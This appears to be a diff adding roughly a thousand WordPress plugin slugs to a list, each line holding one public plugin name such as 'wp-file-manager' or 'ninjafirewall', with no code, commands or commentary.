+simplr-registration-form
+wp-clean-up
+ninjafirewall
+wp-lead-plus-free-squeeze-pages-creator
+woocommerce-predictive-search
+ip-geo-block
+mailchimp-widget
+appointment-booking-calendar
+no-page-comment
+xpress
+wp-super-cache-clear-cache-menu
+lightbox-slider
+wp-page-widget
+easy-pie-maintenance-mode
+instapage
+optin-revolution
+zm-ajax-login-register
+miniorange-login-openid
+smk-sidebar-generator
+post-snippets
+responsive-slider
+media-library-plus
+wp-all-export
+simple-links
+meta-tag-manager
+uber-login-logo
+accesspress-anonymous-post
+photo-dropper
+ga-google-analytics
+wordpress-thread-comment
+mycred
+flare
+hide-my-site
+wp-pro-quiz
+thank-me-later
+nextend-google-connect
+ultimate-landing-page
+html5-jquery-audio-player
+woocommerce-products-filter
+fancier-author-box
+wpbook
+bwp-recaptcha
+opml-importer
+cresta-social-share-counter
+wp-meta-seo
+wordpress-navigation-list-plugin-navt
+members-only
+fourteen-colors
+resize-image-after-upload
+insert-html-snippet
+wp-store-locator
+yith-woocommerce-catalog-mode
+real-estate-listing-realtyna-wpl
+pushpress
+pagebar
+aqua-page-builder
+showcase-visual-composer-addon
+custom-content-shortcode
+wp-better-emails
+edit-flow
+fonts
+email-address-encoder
+cyr2lat
+gzip-ninja-speed-compression
+automatic-updater
+wp-conditional-captcha
+starbox
+genesis-title-toggle
+custom-meta-widget
+social-media-auto-publish
+duoshuo
+html-on-pages
+juiz-social-post-sharer
+homepage-control
+wp-featured-content-slider
+optimus
+login-page-styler
+ultimate-category-excluder
+wp-hide-dashboard
+embed-any-document
+404-redirection
+import-html-pages
+avh-first-defense-against-spam
+amazon-link
+easy-contact
+ultimate-faqs
+google-image-sitemap
+posts-in-sidebar
+sem-dofollow
+wp-ultimate-recipe
+typekit-fonts-for-wordpress
+easy-smooth-scroll-links
+mobiloud-mobile-app-plugin
+twitter-widget
+simple-twitter-tweets
+simple-facebook-plugin
+watermark-reloaded
+wp-survey-and-quiz-tool
+easy-sign-up
+contact-form-by-supsystic
+optin-forms
+add-logo-to-admin
+featured-articles-lite
+easy-modal
+customizer-export-import
+wp-job-manager-locations
+i-recommend-this
+onlywire-bookmark-share-button
+blogvault-real-time-backup
+share-buttons
+wpmbytplayer
+like-button-plugin-for-wordpress
+better-click-to-tweet
+dynamic-headers
+facebook-thumb-fixer
+chat
+yith-woocommerce-pdf-invoice
+tracking-code-manager
+theme-junkie-custom-css
+flexible-posts-widget
+cforms2
+easy-custom-auto-excerpt
+wp-optimize-by-xtraffic
+placester
+ultimate-landing-page-and-coming-soon-page
+woocommerce-product-sort-and-display
+pc-robotstxt
+404-redirected
+advanced-wp-columns
+better-analytics
+wp-cufon
+woocommerce-sequential-order-numbers
+wd-facebook-feed
+google-authenticator
+pronamic-google-maps
+verify-google-webmaster-tools
+catablog
+hueman-addons
+post-grid
+category-icons
+wordpress-move
+soundy-background-music
+projects-by-woothemes
+tabby-responsive-tabs
+amazing-hover-effects
+rss-includes-pages
+restaurant-reservations
+buddypress-activity-plus
+wp-twitter-feed
+sharedaddy
+geo-mashup
+search-filter
+simplemodal-contact-form-smcf
+hana-flv-player
+google-apps-login
+wp-cleanfix
+woocommerce-custom-product-tabs-lite
+likebtn-like-button
+mingle
+wp-twitter-feeds
+wordpress-language
+cp-multi-view-calendar
+tantan-flickr
+scroll-triggered-boxes
+buddypress-group-email-subscription
+wordpress-php-info
+welcome-email-editor
+wp-nested-pages
+gravity-forms-addons
+dk-new-medias-image-rotator-widget
+easy-watermark
+wr-pagebuilder
+enjoy-instagram-instagram-responsive-images-gallery-and-carousel
+wordpress-access-control
+wordpresscom-popular-posts
+embedly
+wordpress-css-drop-down-menu
+wp-memory-usage
+under-construction-wp
+wp-native-dashboard
+thumbnail-for-excerpts
+sp-news-and-widget
+flickr-gallery
+jquery-vertical-mega-menu
+codelights-shortcodes-and-widgets
+no-right-click-images-plugin
+woo-checkout-field-editor-pro
+2-click-socialmedia-buttons
+wp-accessibility
+wp-job-manager-contact-listing
+mail-subscribe-list
+animate-it
+wp-favorite-posts
+member-access
+ithemes-exchange
+wti-like-post
+cp-contact-form-with-paypal
+featured-images-for-rss-feeds
+italy-cookie-choices
+super-rss-reader
+oqey-gallery
+leaguemanager
+iflychat
+favicon-rotator
+themefuse-maintenance-mode
+carousel-horizontal-posts-content-slider
+new-google-plus-badge-widget
+insights
+sp-client-document-manager
+google-maps-builder
+wp-site-migrate
+developer
+facebook-like-box
+wp-translate
+fruitful-shortcodes
+getresponse-integration
+check-and-enable-gzip-compression
+news-announcement-scroll
+our-team-enhanced
+hit-sniffer-blog-stats
+go-live-update-urls
+like
+wp-ultra-simple-paypal-shopping-cart
+restricted-site-access
+ultimate-security-checker
+page-views-count
+email-encoder-bundle
+photonic
+accesspress-facebook-auto-post
+woocommerce-shortcodes
+disable-emojis
+mailmunch
+pronamic-ideal
+top-commentators-widget
+wp-swfobject
+livemesh-siteorigin-widgets
+safe-redirect-manager
+upprev
+wpide
+feedzy-rss-feeds
+photo-galleria
+wp-super-minify
+clean-options
+enhanced-tooltipglossary
+my-custom-css
+disable-wordpress-plugin-updates
+very-simple-contact-form
+wordpress-hit-counter
+goodbye-captcha
+posts-to-posts
+image-horizontal-reel-scroll-slideshow
+yith-woocommerce-advanced-reviews
+simplified-social-share
+easy-media-download
+shutter-reloaded
+buddypress-docs
+kiwi-logo-carousel
+post-type-archive-links
+wp-crm
+hide-admin-bar
+unite-gallery-lite
+authorsure
+infolinks-officlial-plugin
+mobile-smart
+check-email
+rpx
+newpost-catch
+social-media-tabs
+front-end-only-users
+after-the-deadline
+yith-woocommerce-social-login
+menubar
+follow-me
+font-awesome
+gplus-comments
+easyreservations
+metronet-reorder-posts
+wp-file-manager
+wp-wall
+simple-follow-me-social-buttons-widget
+autodescription
+jquery-image-lazy-loading
+wpcu3er
+videowhisper-live-streaming-integration
+accordion-shortcodes
+smooth-scroll-up
+lightweight-social-icons
+admin-menu-tree-page-view
+flv-embed
+eps-301-redirects
+wp-htaccess-editor
+amazon-product-in-a-post-plugin
+sticky-menu-or-anything-on-scroll
+gravity-forms-custom-post-types
+pricing-table-by-supsystic
+wp-realtime-sitemap
+chats
+https-redirection
+wp-media-library-categories
+image-zoom
+tweetable
+photospace
+wp-portfolio
+tidio-live-chat
+counterizeii
+sem-author-image
+nofollow
+wp-share-buttons
+feedburner-form
+facebook-awd
+final-tiles-grid-gallery-lite
+meks-easy-ads-widget
+cpt-bootstrap-carousel
+pricing-deals-for-woocommerce
+weather-and-weather-forecast-widget
+multi-device-switcher
+aftership-woocommerce-tracking
+unique-headers
+child-themify
+tinymce-templates
+404page
+woocommerce-colors
+mechanic-visitor-counter
+mailchimp-wp
+ssh-sftp-updater-support
+ifeature-slider
+dirtysuds-embed-pdf
+worpit-admin-dashboard-plugin
+debug-bar-console
+remove-dashboard-access-for-non-admins
+what-the-file
+themeisle-companion
+wordpress-plugin-for-simple-google-adsense-insertion
+simple-embed-code
+facebook-fan-box
+simple-fields
+amr-ical-events-list
+oik
+wufoo-shortcode
+lightview-plus
+all-in-one-seo-pack-importer
+async-javascript
+wp-display-header
+analytics-code
+wp-csv
+genesis-layout-extras
+stream
+webriti-smtp-mail
+genesis-translations
+wp-slimbox2
+vimeography
+wp-cerber
+frontend-uploader
+capsman
+nktagcloud
+askapache-password-protect
+addthis-smart-layers
+wp-recentcomments
+woocommerce-currency-switcher
+instapress
+woocommerce-extra-checkout-fields-for-brazil
+woocommerce-mailchimp
+wapple-architect
+mailchimp-subscribe-sm
+microthemer
+jj-nextgen-jquery-slider
+jquery-smooth-scroll
+custom-login-page
+js-css-script-optimizer
+configurable-tag-cloud-widget
+contact-form-7-style
+amazon-auto-links
+scissors
+easy-image-gallery
+fv-all-in-one-seo-pack
+menu-social-icons
+social-media-icons-widget
+osm
+bootstrap-for-contact-form-7
+post-layout
+ewww-image-optimizer-cloud
+uptolike-share
+tiled-gallery-carousel-without-jetpack
+buddypress-xprofile-custom-fields-type
+accordions
+google-ajax-translation
+wp-calendar
+quick-shop
+latest-tweets-widget
+social-warfare
+simple-maintenance-mode
+getsocial
+wp-math-captcha
+auto-thickbox
+weight-based-shipping-for-woocommerce
+wpmandrill
+watu
+no-self-ping
+woocommerce-admin-bar-addition
+delete-duplicate-posts
+flickr-badges-widget
+modal-dialog
+fv-top-level-cats
+link-juice-keeper
+wp-author-date-and-meta-remover
+login-logout
+weglot
+ultimate-tables
+birchschedule
+piklist
+organize-series
+shiftnav-responsive-mobile-menu
+wp-dtree-30
+popular-widget
+the-events-calendar-shortcode
+free-stock-photos-foter
+contact-form-7-recaptcha-extension
+reset-wp
+awesome-filterable-portfolio
+genesis-connect-woocommerce
+page2cat
+wp-lightbox-bank
+simple-google-map
+delightful-downloads
+genesis-simple-share
+affiliates-manager
+wp-email-template
+really-simple-csv-importer
+restrict-content
+nextgen-public-uploader
+dk-pricr-responsive-pricing-table
+forget-about-shortcode-buttons
+wp-support-plus-responsive-ticket-system
+wp-connect
+post-notification
+efficient-related-posts
+facebook-tab-manager
+wd-google-analytics
+export-user-data
+twitter-tweets
+ns-cloner-site-copier
+hl-twitter
+simple-video-embedder
+advanced-ajax-page-loader
+feature-a-page-widget
+wp-cms-post-control
+php-text-widget
+wp-cloudy
+pdf-light-viewer
+mailgun
+blog2social
+wp-social-seo-booster
+cryptx
+wpfront-scroll-top
+page-builder-sandwich
+woocommerce-bulk-discount
+call-now-button
+jonradio-private-site
+meks-smart-social-widget
+genesis-slider
+anything-popup
+facebook-likes-you
+stripe
+shashin
+responsive-header-image-slider
+video-player
+ricg-responsive-images
+wp-email-login
+yith-woocommerce-featured-video
+seo-slugs
+embed-iframe
+yellow-pencil-visual-theme-customizer
+wp-social-likes
+autochimp
+bp-album
+press-permit-core
+wp-gmappity-easy-google-maps
+useful-banner-manager
+pixopoint-menu
+bnfw
+advanced-text-widget
+secure-html5-video-player
+one-click-close-comments
+kraken-image-optimizer
+nextgen-gallery-voting
+pinterest-pin-it-button-for-images
+instagram-image-gallery
+most-commented
+media-file-manager
+mailin
+shortcode-widget
+ultimate-under-construction
+social-profiles-widget
+llorix-one-companion
+post-views
+facebook-page-feed-graph-api
+woocommerce-nl
+qtranslate-slug
+api-key-for-google-maps
+catch-ids
+wp-latest-posts
+wp-sms
+yith-woocommerce-order-tracking
+yith-woocommerce-product-vendors
+comment-guestbook
+enhanced-wordpress-contactform
+debug-bar-extender
+facebook-like
+addon-so-widgets-bundle
+amr-users
+google-pagespeed-insights
+show-hide-author
+taxonomy-images
+add-to-facebook-plugin
+wordapp-mobile-app
+wp-appbox
+wp-simple-booking-calendar
+ajax-search-lite
+wpml-widgets
+facebook-page-publish
+fotobook
+social-bookmarks
+wp-ajaxify-comments
+minimal-coming-soon-maintenance-mode
+google-custom-search
+aesop-story-engine
+custom-admin-branding
+user-meta
+clean-login
+rss-image-feed
+wp-gravatar
+nav-menu-images
+testimonial-slider
+social-discussions
+ajax-calendar
+nextgen-flashviewer
+contact
+acf-field-date-time-picker
+weaverx-theme-support
+post-slider-wd
+vk-all-in-one-expansion-unit
+bigcontact
+insite-for-wp-personalization-made-easy
+flickr-album-gallery
+foliopress-wysiwyg
+newsletters-lite
+wp-power-stats
+smart-404
+meks-flexible-shortcodes
+udinra-all-image-sitemap
+subscribe-connect-follow-widget
+social-icons-widget-by-wpzoom
+yikes-inc-easy-custom-woocommerce-product-tabs
+scroll-back-to-top
+yith-woocommerce-request-a-quote
+cimy-header-image-rotator
+google-adsense-lite
+get-custom-field-values
+wp-custom-fields-search
+blog-in-blog
+slideshow
+the-events-calendar-category-colors
+responsive-column-widgets
+popup
+cloudflare-flexible-ssl
+wp-facebookconnect
+widget-twitter
+wp-subtitle
+livejournal-importer
+drop-shadow-boxes
+wp-social-sharing
+google-calendar-widget
+social-stickers
+fatpanda-facebook-comments
+gd-bbpress-attachments
+nextgen-gallery-sidebar-widget
+rps-image-gallery
+multilanguage
+wp-video-posts
+wp-parsidate
+slimjetpack
+wp-online-store
+ad-squares-widget
+shortcoder
+audit-trail
+theme-blvd-layout-builder
+wp-issuu
+rsvp
+dreamgrow-scroll-triggered-box
+manual-image-crop
+fix-rss-feed
+thirstyaffiliates
+google-universal-analytics
+google-drive-embedder
+multiple-content-blocks
+elastic-theme-editor
+kb-robotstxt
+easy-property-listings
+chitika-premium
+carousel-slider
+bulk-page-creator
+event-espresso-free
+motopress-content-editor-lite
+google-maps-for-wordpress
+wp-pda
+disable-xml-rpc
+bookings
+google-author-link
+metronet-profile-picture
+cms-commander-client
+advanced-random-posts-widget
+public-post-preview
+accesspress-custom-css
+wp-category-posts-list
+wp-codebox
+booking-calendar-contact-form
+crafty-social-buttons
+wpsso-am
+backup-scheduler
+html-editor-syntax-highlighter
+social-connect
+glue-for-yoast-seo-amp
+youtube-shortcode
+facebook-likebox-widget-and-shortcode
+statpresscn
+wp-show-ids
+sabre
+social-media-icons
+wp-facebook-login
+themegrill-demo-importer
+contact-form-7-add-confirm
+post-teaser
+wp-easy-uploader
+js-composer-qtranslate-x
+protect-wp-admin
+delete-pending-comments
+open-external-links-in-a-new-window
+godaddy-email-marketing-sign-up-forms
+wordpress-simple-survey
+easy-timer
+coming-soon-by-supsystic
+youtube-simplegallery
+wp-youtube-player
+simple-popup-plugin
+alexa-internet
+crazy-bone
+plugins-garbage-collector
+super-simple-google-analytics
+simple-popup
+nofollow-for-external-link
+wp-meta-and-date-remover
+breadcrumb-trail
+yourchannel
+seo-data-transporter
+feedburner-email-widget
+visual-editor-custom-buttons
+file-away
+wp-imageflow2
+inline-google-spreadsheet-viewer
+wp-shop-original
+wp2yt-uploader
+pinterest-rss-widget
+disqus-conditional-load
+wp-backgrounds-lite
+affinitomics
+insert-pages
+updater
+wp-fail2ban
+vanilla-forums
+len-slider
+clean-archives-reloaded
+pixcodes
+auto-tag
+simple-wp-sitemap
+woocommerce-facebook-share-like-button
+yith-pre-launch
+wr-megamenu
+a3-lazy-load
+wp-html-compression
+simple-social-sharing-widgets-icons
+theme-tweaker-lite
+news-ticker
+jsl3-facebook-wall-feed
+active-directory-integration
+fluid-responsive-slideshow
+contact-us
+woocommerce-products-slider
+page-link-manager
+snazzy-archives
+fast-velocity-minify
+flexi-quote-rotator
+the-social-links
+simple-social-bookmarks
+yith-custom-login
+wp-updates-notifier
+wp-topbar
+product-catalog
+gmail-smtp
+event-calendar-scheduler
+sell-media
+my-custom-functions
+meks-smart-author-widget
+subscribe-to-double-opt-in-comments
+simple-photo-gallery
+show-posts
+digiproveblog
+contact-form-email
+floating-menu
+heartbeat-control
+custom-banners
+bepro-listings
+wp-live-chat-software-for-wordpress
+improved-include-page
+huzzaz-video-gallery
+multicons
+fully-background-manager
+wp-geo
+wp-parallax-content-slider
+article-directory
+seo-wordpress
+youtuber
+wp-catalogue
+hide-admin-bar-from-non-admins
+remove-category-url
+category-page-icons
+thickbox
+easy-nivo-slider
+plugin-vulnerabilities
+icegram-rainmaker
+wordpress-notification-bar
+wordpress-countdown-widget
+if-menu
+automatic-seo-links
+social-toolbar
+woocommerce-advanced-free-shipping
+sharify
+slideshare
+pdf24-post-to-pdf
+zero-spam
+rewrite-rules-inspector
+catalog
+nextend-twitter-connect
+lightbox-popup
+simplepie-core
+cardoza-wordpress-poll
+wp-linkedin
+faster-pagination
+custom-taxonomy-order-ne
+download-attachments
+cross-linker
+wp-copyright-protection
+maxgalleria
+single-post-template
+custom-user-profile-photo
+swiftype-search
+wp-image-zoooom
+addons-for-visual-composer
+global-flash-galleries
+easyazon
+quick-contact-form
+monster-widget
+flexible-upload
+post-tags-and-categories-for-pages
+video-widget
+mtouch-quiz
+redirect
+advanced-menu-widget
+roses-like-this
+limit-attempts
+google-privacy-policy
+header-and-footer-scripts
+blog-designer
+wsi
+dnui-delete-not-used-image-wordpress
+miniorange-2-factor-authentication
+wp-recaptcha-integration
+simple-contact-form
+instantsearch-for-woocommerce
+simple-real-estate-pack-4
+wp-fullcalendar
+agp-font-awesome-collection
+www-xml-sitemap-generator-org
+seo-automatic-wp-core-tweaks
+calpress-event-calendar
+cache-enabler
+cystats
+nextgen-gallery-custom-fields
+asgaros-forum
+w4-post-list
+enhanced-admin-bar-with-codex-search
+simple-login-log
+paid-member-subscriptions
+testimonial-basics
+bp-registration-options
+gift-cards-for-woocommerce
+wpsso-plm
+math-comment-spam-protection
+woocommerce-compare-products
+rs-feedburner
+buddydrive
+wp-facebook-like
+social-media-buttons-toolbar
+google-website-translator
+easy-instagram
+cm-answers
+wp-deferred-javascripts
+shockingly-simple-favicon
+import-users-from-csv
+comic-easel
+local-time-clock
+threewp-broadcast
+wd-twitter-feed
+woocommerce-abandoned-cart
+simple-slideshow-manager
+wp-postviews-plus
+famethemes-demo-importer
+restrict-widgets
+contexture-page-security
+advanced-permalinks
+buddypress-ajax-chat
+juiz-last-tweet-widget
+evermore
+pwebcontact
+optima-express
+wp-lister-for-ebay
+woocommerce-products-per-page
+permalink-finder
+wp-document-revisions
+scribe
+wedevs-project-manager
+cubepoints
+coupon-creator
+wcp-contact-form
+woo-widget-product-slideshow
+reduce-bounce-rate
+share-social
+facebookall
+picasa-express-x2
+appointy-appointment-scheduler
+easytube
+idx-broker-platinum
+wp-awesome-faq
+bootstrap-shortcodes
+free-google-fonts
+sermon-manager-for-wordpress
+pure-chat
+team
+advanced-image-styles
+loading-page
+downml
+db-cache-reloaded
+yourls-wordpress-to-twitter
+image-store
+error-log-monitor
+wp-fb-share-like-button
+mailchimp-top-bar
+captcha-code-authentication
+product-import-export-for-woo
+wp-supersized
+oik-nivo-slider
+soundcloud-master
+related-posts-slider
+bookly-responsive-appointment-booking-tool
+jch-optimize
+formilla-live-chat
+nextend-accordion-menu
+captainform
+breezing-forms
+anspress-question-answer
+easy-facebook-share-thumbnails
+kb-advanced-rss-widget
+collapsing-archives
+facebook-comment-by-vivacity
+landing-pages-builder
+easy-responsive-tabs
+flickr-photostream
+rich-text-tags
+cm-download-manager
+wpfront-notification-bar
+simple-author-box
+event-espresso-decaf
+authors
+disable-xml-rpc-pingback
+advanced-page-manager
+hc-custom-wp-admin-url
+jquery-ui-widgets
+tumblr-widget-for-wordpress
+wordpress-flash-uploader
+contact-form-7-widget
+buddypress-links
+real-time-find-and-replace
+absolute-privacy
+mystickymenu
+floating-social-media-links
+image-banner-widget
+wp-cirrus
+woocommerce-ajax-filters
+easy-add-thumbnail
+tubepressnet
+admin-post-navigation
+the-welcomizer
+wpupper-share-buttons
+twitter-cards-meta
+flyzoo
+gtmetrix-for-wordpress
+litespeed-cache
+fblikebutton
+post-avatar
+async-js-and-css
+cimy-swift-smtp
+accesspress-twitter-auto-post
+scripts-to-footerphp
+clean-contact
+contact-forms-builder
+askapache-google-404
+wp-tiles
+simple-yearly-archive
+slideshow-gallery-pro
+acf-qtranslate
+booking-calendar
+amazonsimpleadmin
+wpb-woocommerce-product-slider
+easy-custom-sidebars
+wats
+simple-lightbox-gallery
+wp-force-ssl
+vertical-scroll-recent-post
+contact-form-with-captcha
+wpshop
+jw-share-this
+lifterlms
+facebook-like-thumbnail
+shortcode-ui
+generalstats
+content-egg
+woocommerce-cart-tab
+gmap-embed
+note
+contact-us-page-contact-people
+sendit
+easy-maintenance-mode-coming-soon
+salesforce-wordpress-to-lead
+redis-cache
+adblock-notify-by-bweb
+ajax-login
+insert-post-ads
+wp-spreadplugin
+wp-permalauts
+cc-coming-soon
+sf-move-login
+pdf-image-generator
+patch-for-revolution-slider
+disable-feeds
+feedburner-email-subscription
+multi-column-tag-map
+smart-archives-reloaded
+simple-flickr-plugin
+wp-reset
+related-posts-for-wp
+talki-embeddable-forums
+groupdocs-viewer
+newsletter-manager
+show-current-template
+fullscreen-galleria
+advanced-post-list
+genesis-latest-tweets
+woocommerce-quantity-increment
+subscription-options
+planso-forms
+nginx-champuru
+podlove-podcasting-plugin-for-wordpress
+nice-login-register-widget
+the-casengo-chat-widget
+rumbletalk-chat-a-chat-with-themes
+web-ninja-google-analytics
+nmedia-user-file-uploader
+formforall
+music-store
+woocommerce-store-toolkit
+namaste-lms
+wp-php-widget
+anti-captcha
+team-members
+wordpress-gzip-compression
+fluid-video-embeds
+stealth-login-page
+list-pages-shortcode
+buddypress-cover-photo
+popular-posts-plugin
+rich-reviews
+smtp-mailer
+gregs-threaded-comment-numbering
+cleverness-to-do-list
+launchpad-by-obox
+quick-paypal-payments
+tweetily-tweet-wordpress-posts-automatically
+admin-bar-disabler
+open-in-new-window-plugin
+pixabay-images
+columns
+term-management-tools
+top-level-cats
+date-exclusion-seo-plugin
+server-ip-memory-usage
+category-specific-rss-feed-menu
+wp-sliding-login-register-panel
+wise-chat
+wp-front-end-editor
+j-shortcodes
+social-popup
+arscode-social-slider-free
+gallery-widget
+gantry5
+wpjam-qiniu
+gabfire-widget-pack
+yandex-metrica
+responsive-lightbox-lite
+permalinks-moved-permanently
+wp-splash-page
+convert-post-types
+gigya-socialize-for-wordpress
+srizon-facebook-album
+custom-smilies-se
+mollie-payments-for-woocommerce
+simple-css
+contact-form-generator
+wp-system-health
+audio-and-video-player
+login-form-recaptcha
+child-pages-shortcode
+kingcomposer
+adman
+igit-related-posts-with-thumb-images-after-posts
+feedburner-setting
+wp-e-commerce-dynamic-gallery
+microkids-related-posts
+responsive-full-width-background-slider
+facebook-social-plugin-widgets
+woocommerce-simply-order-export
+buddypress-toolbar
+multisite-clone-duplicator
+tabs-responsive
+page-specific-menu-items
+responsive-gallery-grid
+google-map-shortcode
+webappick-product-feed-for-woocommerce
+rb-internal-links
+media-tags
+6scan-protection
+wp-charts
+google-plus-authorship
+jetpack-lite
+posttabs
+simple-google-maps-short-code
+theme-blvd-shortcodes
+add-instagram
+ryans-suckerfish-wordpress-dropdown-menu
+flattr
+woocommerce-email-inquiry-cart-options
+core-control
+content-links
+simple-coming-soon-and-under-construction
+wp-visual-icon-fonts
+buttons-shortcode-and-widget
+smtp
+wordpress-ez-backup
+clone-posts
+rss-feed-widget
+clicky-analytics
+wp-seo-qtranslate-x
+geo-my-wp
+delete-revision
+wp-ecommerce-paypal
+apppresser
+contentad
+wp-serverinfo
+share-on-facebook
+cos-html-cache
+appointment-calendar
+facebook-comments-master
+restrict-categories
+auto-excerpt-everywhere
+nksnow
+log-deprecated-notices
+meks-themeforest-smart-widget
+google-xml-sitemaps-with-qtranslate-support
+google-translator
+crop-thumbnails
+igniteup
+vanilla-pdf-embed
+wordpresscom-stats-smiley-remover
+social-icons
+genesis-visual-hook-guide
+xlanguage
+flowplayer5
+mimetypes-link-icons
+codecolorer
+pl-platform
+enhanced-e-commerce-for-woocommerce-store
+wordpress-dashboard-editor
+better-search
+simple-urls
+let-it-snow
+ep-social-widget
+wp-colorbox
+php-compatibility-checker
+coursepress
+woocommerce-image-zoom
+yith-woocommerce-cart-messages
+amazonjs
+contact-form-7-multi-step-module
+wp-jw-player
+swfobj
+leenkme
+twenty-eleven-theme-extensions
+ulogin
+query-posts
+facebook-dashboard-widget
+say-what
+wp-listings
+astickypostorderer
+wp-staging
+menu-items-visibility-control
+footer-javascript
+sponsors-slideshow-widget
+purple-xmls-google-product-feed-for-woocommerce
+rublon
+slimbox-plugin
+meks-simple-flickr-widget
+wp-frontpage-news
+illdy-companion
+wp-blog-and-widgets
+fakerpress
+adplugg
+wp-complete-backup
+excerpt-editor
+registered-users-only
+mailjet-for-wordpress
+instagrate-to-wordpress
+google-maps-v3-shortcode
+amazon-associates-link-builder
+ceceppa-multilingua
+tickera-event-ticketing-system
+flickr-justified-gallery
+wp-vipergb
+spiderblocker
+badgeos
+traffic-counter-widget
+wp-about-author
+maintenance-mode-page
+members-list
+genesis-simple-menus
+export-users-to-csv
+facebook-feed
+add-facebook
+our-team-by-woothemes
+translate-this-button
+simply-show-ids
+ws-facebook-likebox
+rich-contact-widget
+portfolio-wp
+vote-it-up
+aas-digg-digg-alternative
+yith-woocommerce-stripe
+kiwi-social-share
+subscriber
+wppizza
+pop-up
+simple-facebook-twitter-widget
+simplereach-slide
+wp-masonry-layout
+simplemap
+header-image-slider
+print-o-matic
+ozh-who-sees-ads
+powr-hit-counter
+zingiri-forum
+who-is-online
+plugins-language-switcher
+wp-to-buffer
+tinymcecomments
+gigs-calendar
+polaroid-gallery
+custom-favicon
+wp-youtube
+related-posts-by-taxonomy
+smart-donations
+my-brand
+wordpress-faq-manager
+user-registration-aide
+terms-descriptions
+stagtools
+mb-sitemap-generator
+pinterest-pinboard-widget
+image-pro-wordpress-image-media-management-and-resizing-done-right
+wp-user-manager
+wp-pipes
+lazy-load-for-videos
+quick-event-manager
+multiple-category-selection-widget
+gd-bbpress-tools
+wp-monalisa
+sodahead-polls
+kpicasa-gallery
+social-bookmarking-reloaded
+meta-seo-pack
+static-html-output-plugin
+nex-forms-express-wp-form-builder
+snazzy-maps
+trackable-social-share-icons
+wp-less
+snow-storm
+wp-mailto-links
+conditional-widgets
+seo-tag-cloud
+dashboard-notepad
+hdw-player-video-player-video-gallery
+simple-responsive-slider
+wp-custom-widget-area
+per-page-add-to
+page-lists-plus
+recent-posts-plugin
+seo-auto-linker
+crelly-slider
+wens-responsive-column-layout-shortcodes
+wp-advanced-importer
+google-news-sitemap-generator
+wp-skitter-slideshow
+advanced-recent-posts-widget
+post-content-shortcodes
+google-integration-toolkit
+slayers-custom-widgets
+mini-twitter-feed
+popup-with-fancybox
+better-rss-widget
+wp-post-thumbnail
+tinymce-and-tinymce-advanced-professsional-formats-and-styles
+bbp-style-pack
+gc-message-bar
+woocommerce-direct-checkout
+wp-auctions
+wpnewsman-newsletters
+ultimate-auction
+my-live-chat-for-wp
+random-posts-plugin
+linkable-title-html-and-php-widget
+amp-supremacy
+scalable-vector-graphics-svg
+easy-wp-parallax-slider
+olevmedia-shortcodes
+wordpress-tooltips
+embed-facebook
+buddypress-like
+wp-force-login
+google-analytics-visits
+wp-rollback
+wp-fb-fan-box
+webman-amplifier
+otw-portfolio-light
+content-warning-v2
+email-log
+wp-analytify
+mobble
+string-locator
+gm-block-bots
+localendar-for-wordpress
+blogger-to-wordpress-redirection
+table-maker
+launcher
+add-posts-to-pages
+kaltura-interactive-video
+sticky-header
+yeloni-free-exit-popup
+flexytalk-widget
+all-in-one-cufon
+twitter-stream
+gpp-slideshow
+wp-like-button
+woocommerce-stock-manager
+wp-e-commerce-store-toolkit
+multi-rating
+no-category-parents
+wp-visual-slidebox-builder
+responsive-video-embeds
+photo-video-gallery-master
+mailchimp-sync
+yandex-metrika
+multisite-user-management
+image-gallery-reloaded
+responsive-portfolio
+cm-pop-up-banners
+dc-woocommerce-multi-vendor
+collabpress
+oh-add-script-header-footer
+wet-maintenance
+encyclopedia-lexicon-glossary-wiki-dictionary
+simple-ldap-login
+simple-e-commerce-shopping-cart
+cybersyn
+user-meta-manager
+iframely
+custom-css-manager-plugin
+sisow-for-woocommerce
+fb-status-updater
+google-typography
+custom-tables
+user-specific-content
+about-me-3000
+all-meta-tags
+speed-contact-bar
+simple-pagination
+maintenance-page
+related-posts-via-categories
+events-maker
+wordpress-gallery-plugin
+adamrob-parallax-scroll
+unbounce
+clear-cache-for-widgets
+live-countdown-timer
+wp-utf8-excerpt
+woocommerce-new-product-badge
+disable-site
+twitter-auto-publish
+wp-minify-fix
+wp101
+hits-ie6-pngfix
+social-share-boost
+food-and-drink-menu
+wp-example-content
+simple-nivo-slider
+business-contact-widget
+awesome-support
+advanced-recent-posts
+gallery-master
+product-enquiry-for-woocommerce
+footer-text
+activecampaign-subscription-forms
+wordpress-gallery-slideshow
+cardoza-3d-tag-cloud
+table-rate-shipping-for-woocommerce
+hitsteps-visitor-manager
+calculatorpro-calculators
+upload-max-file-size
+adsenseoptimizer
+pageview
+nofollow-free
+feed-reading-blogroll
+contact-form-7-newsletter
+gallery-lightbox-slider
+multisite-plugin-manager
+google-maps-anywhere
+yith-woocommerce-review-reminder
+ultimate-wp-query-search-filter
+hyper-cache-extended
+font-resizer
+learnpress-course-review
+sem-subscribe-me
+loginza
+profile-pic
+wp-recall
+jquery-validation-for-contact-form-7
+arconix-faq
+social-share
+wp-thumbie
+shoutcast-icecast-html5-radio-player
+so-clean-up-wp-seo
+tw-recent-posts-widget
+homepage-pop-up
+pmpro-woocommerce
+category-posts-in-custom-menu
+1-jquery-photo-gallery-slideshow-flash
+wp-popup-scheduler
+wp-inject
+sassy-social-share
+frontier-post
+easy-paypal-lte
+fbf-facebook-page-feed-widget
+envolve-chat
+myrepono-wordpress-backup-plugin
+wp-banner
+posts-by-tag
+social-metrics
+weekly-class-schedule
+woocommerce-product-slider
+feedstats-de
+twitter-feed
+cookies-for-comments
+html5-mp3-player-with-playlist
+slickquiz
+woo-tumblog
+jquery-archive-list-widget
+highlight-search-terms
+whats-new-genarator
+autoresponder-gwa
+seo-automatic-seo-tools
+post-ratings
+wp-biographia
+shariff
+debug-bar-cron
+randomtext
+wp-editor-widget
+wp-hide-security-enhancer
+simple-trackback-validation-with-topsy-blocker
+complete-central-backup
+custom-headers-and-footers
+random-posts-widget
+ppress
+fetch-tweets
+nice-paypal-button-lite
+panopress
+genesis-widgetized-footer
+issuu-pdf-sync
+wp-config-file-editor
+transparent-image-watermark-plugin
+jw-player-7-for-wp
+wpforo
+bft-autoresponder
+prettyphoto
+most-and-least-read-posts-widget
+threewp-activity-monitor
+limit-login-attempts-reloaded
+wp-to-top
+rsvpmaker
+yith-woocommerce-authorizenet-payment-gateway
+wp-cron
+popup-contact-form
+hide-my-wp
+custom-css-editor
+simple-sidebar-navigation
+recipe-card
+wp-carousel
+wp-simple-galleries
+post-feature-widget
+wp-help
+clickfunnels
+wf-cookie-consent
+toggle-the-title
+wp-carousel-free
+mainwp-child-reports
+jj-nextgen-jquery-carousel
